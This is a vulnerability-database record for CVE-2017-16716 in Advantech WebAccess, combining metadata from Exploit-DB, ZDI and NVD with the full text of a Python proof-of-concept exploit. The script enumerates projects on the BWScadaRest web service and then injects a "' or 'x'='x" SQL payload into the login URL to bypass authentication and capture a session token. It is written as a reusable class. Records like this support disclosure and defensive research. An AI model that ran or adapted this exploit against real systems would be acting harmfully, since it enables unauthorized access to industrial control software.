ID
VAR-E-201801-0108
CVE
| cve_id: | CVE-2017-16716 | Trust: 1.5 |
EDB ID
43928
TITLE
Advantech WebAccess < 8.3 - SQL Injection - Windows webapps Exploit
Trust: 0.6
DESCRIPTION
Advantech WebAccess < 8.3 - SQL Injection. CVE-2017-16716 . webapps exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | advantech | model: | webaccess | scope: | lt | version: | 8.3 | Trust: 2.2 |
| vendor: | advantech | model: | webaccess | scope: | eq | version: | 8.0-2015.08.16 | Trust: 0.5 |
EXPLOIT
#!/usr/bin/python2.7
# Exploit Title: Advantech WebAccess BWSCADARest Login Method SQL Injection Authentication Bypass Vulnerability
# Date: 01-13-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.advantech.com
# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20150816.exe
# Version: Advantech WebAccess 8.0-2015.08.16
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-16716
# See Also: http://zerodayinitiative.com/advisories/ZDI-18-065/
# Notes:
#
# There are two service interfaces:
# 1) SOAP
# 2) REST
#
# This PoC targets REST
#
# The web services did not work out of the box, and a new website/app was created in IIS for testing.
# This issue was potentially due to the fact that testing was completed against a trial version.
# PoC may need slight tweaks depending on configuration of the web service.
#
# Original vulnerability was reported for more recent software version.
#
# This WebAccessAuthBypass class can be imported :-)
import sys, requests
from xml.etree import ElementTree
class WebAccessAuthBypass:
def __init__(self, ip, port):
self.ip = ip
self.port = port
self.base_url = "http://%s:%s/BWMobileService/BWScadaRest.svc/" % (ip, port)
def convert_entities(self, s):
return s.replace('>', '>').replace('<', '<') # convert html entities in response, for parsing
def get_project_list(self):
print 'Getting list of projects...'
res = requests.get(self.base_url)
projects = list()
if res.status_code != 200:
print 'Bad HTTP response...'
else:
if 'PROJECT' not in res.text:
print 'No projects listed by service.'
else:
s = self.convert_entities(res.text)
xml = ElementTree.fromstring(s)
for project_list in xml:
for project in project_list:
name = project.get('NAME')
if name is not None:
projects.append(name)
if len(projects) > 0:
print 'Found the following projects: ' + str(projects)
return projects
else:
return None
# returns a token
def login(self, project):
# SQL Injection into the user parameter
url = self.base_url + "Login/" + project + "/notadmin'%20or%20'x'%3D'x/nopass" # notadmin' or 'x'='x
res = requests.get(url)
token = None
if res.status_code != 200:
print 'Bad HTTP response...'
else:
if 'OK TOKEN' not in res.text:
print 'No token returned by service.'
else:
s = self.convert_entities(res.text)
xml = ElementTree.fromstring(s)
if len(xml) > 0:
token = xml[0].get('TOKEN')
return token
# token returned can be used for more transactions
def get_token(self):
project_list = self.get_project_list()
project = project_list[0] # might as well pick the first project
token = self.login(project_list[0])
return token
if __name__ == "__main__":
ip = 'targetip'
port = 'port#'
bypass = WebAccessAuthBypass(ip, port)
token = bypass.get_token()
if token is not None:
print 'Successfully got an authentication token: ' + token
else:
print 'Unsuccessful.'
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
sql injection
Trust: 2.1
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | remote | Trust: 0.5 |
| tag: | sql injection | Trust: 0.5 |
CREDITS
Chris Lyne
Trust: 0.6
EXTERNAL IDS
| db: | ZDI | id: | ZDI-18-065 | Trust: 2.7 |
| db: | EXPLOIT-DB | id: | 43928 | Trust: 1.6 |
| db: | NVD | id: | CVE-2017-16716 | Trust: 1.5 |
| db: | 0DAYTODAY | id: | 29673 | Trust: 0.6 |
| db: | EDBNET | id: | 96426 | Trust: 0.6 |
| db: | EDBNET | id: | 96347 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 146149 | Trust: 0.5 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2017-16716 | Trust: 1.5 |
| url: | https://0day.today/exploits/29673 | Trust: 0.6 |
| url: | https://www.exploit-db.com/exploits/43928/ | Trust: 0.6 |
SOURCES
| db: | PACKETSTORM | id: | 146149 |
| db: | EXPLOIT-DB | id: | 43928 |
| db: | EDBNET | id: | 96426 |
| db: | EDBNET | id: | 96347 |
LAST UPDATE DATE
2022-07-27T09:11:23.999000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 146149 | date: | 2018-01-29T03:33:33 |
| db: | EXPLOIT-DB | id: | 43928 | date: | 2018-01-30T00:00:00 |
| db: | EDBNET | id: | 96426 | date: | 2018-02-02T00:00:00 |
| db: | EDBNET | id: | 96347 | date: | 2018-01-30T00:00:00 |